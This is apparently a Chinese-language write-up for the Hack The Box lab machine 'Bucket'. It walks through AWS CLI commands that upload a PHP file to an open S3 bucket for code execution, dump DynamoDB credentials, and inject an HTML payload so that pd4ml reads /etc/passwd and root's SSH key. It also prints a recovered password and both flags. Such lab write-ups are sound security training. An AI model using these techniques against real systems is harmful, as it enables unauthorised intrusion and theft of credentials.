[HTB] 靶机学习 Bucket
字数 1299 2025-08-29 22:41:24
HTB靶机Bucket渗透测试教学文档
1. 初始信息收集
-
添加hosts记录:
- 将
bucket.htb和s3.bucket.htb添加到本地hosts文件 - 访问
http://bucket.htb/并检查页面源代码
- 将
-
发现子域名:
- 在页面头部信息中发现子域名
s3.bucket.htb - 该子域名路径
http://s3.bucket.htb/adserver/images/bug.jpg暗示了Amazon S3服务
- 在页面头部信息中发现子域名
2. Amazon S3基础知识
-
核心概念:
- Bucket(桶):存储对象的容器
- Object(对象):存储在桶中的基本实体(文件)
- Key:对象的唯一标识符
-
访问方式:
- Path-style请求:
https://s3.<region>.amazonaws.com/<bucket-name>/<key> 示例:https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/puppy.jpg - Virtual-hosted–style请求:
https://<bucket-name>.s3.<region>.amazonaws.com/<key> 示例:https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/puppy.png
- Path-style请求:
3. 枚举和利用S3服务
-
目录扫描:
- 发现
/health和/shell端点
- 发现
-
使用AWS CLI连接:
# 列出所有bucket aws --endpoint-url=http://s3.bucket.htb s3 ls # 列出特定bucket内容 aws --endpoint-url=http://s3.bucket.htb s3 ls s3://adserver -
文件上传测试:
- 创建PHP测试文件
abc.php:<?php phpinfo(); ?> - 上传文件:
aws --endpoint-url=http://s3.bucket.htb s3 cp abc.php s3://adserver/ - 访问
http://bucket.htb/abc.php验证解析
- 创建PHP测试文件
-
获取反弹shell:
- 上传PHP反弹shell脚本并执行
4. 权限提升前期
-
发现受限目录:
/var/www/bucket-app目录无访问权限- 使用
getfacl发现joy用户有读取和执行权限
-
发现DynamoDB信息:
- 在home目录发现
db.php文件,包含新的endpoint-url
- 在home目录发现
-
DynamoDB枚举:
# 列出表 aws dynamodb list-tables --endpoint-url http://localhost:4566 # 查询users表内容 aws dynamodb scan --table-name users --endpoint-url http://localhost:4566- 获取三组用户凭据,尝试SSH登录
-
获取初始flag:
- 使用凭据
n2vM-<_K_Q:.Aa2SSH登录roy用户 - 获取第一个flag:
3b55b52d69515bd509b3aa744aebde7b
- 使用凭据
5. 深入利用DynamoDB
-
分析index.php逻辑:
- POST参数
action=get_alerts时:- 连接DynamoDB查询alerts表
- 过滤包含"Ransomware"关键字的title
- 将匹配的data字段写入随机命名的HTML文件
- 使用pd4ml工具将HTML转换为PDF
- POST参数
-
创建和操作alerts表:
# 创建表 aws dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --endpoint-url http://localhost:4566 # 插入恶意数据 aws dynamodb put-item \ --table-name alerts \ --item '{"title":{"S":"Ransomware"},"data":{"S":"<html>...</html>"}}' \ --endpoint-url http://localhost:4566
6. 权限提升最终阶段
-
发现Apache服务:
- 通过
netstat -lnp发现8000端口由root运行
- 通过
-
端口转发:
ssh -L 8001:127.0.0.1:8000 roy@10.10.10.212 -
利用pd4ml读取文件:
- 构造包含文件读取payload的HTML:
<attachment src="file:///etc/passwd"> - 触发转换:
curl http://127.0.0.1:8001/index.php --data 'action=get_alerts'
- 构造包含文件读取payload的HTML:
-
读取root私钥:
- 修改payload读取
/root/.ssh/id_rsa - 获取第二个flag:
7fdda731a4cfd824a796d00b0e6b5c63
- 修改payload读取
7. 关键知识点总结
-
S3服务利用:
- 识别S3端点
- 使用AWS CLI操作未授权S3桶
- 文件上传实现代码执行
-
DynamoDB利用:
- 创建和操作表
- 通过应用逻辑注入恶意数据
-
权限提升技巧:
- 利用文件转换服务读取敏感文件
- 通过pd4ml的attachment特性实现LFI
- 获取root私钥实现权限提升
-
工具使用:
- AWS CLI
- 目录扫描工具
- 端口转发技术
- 文件包含利用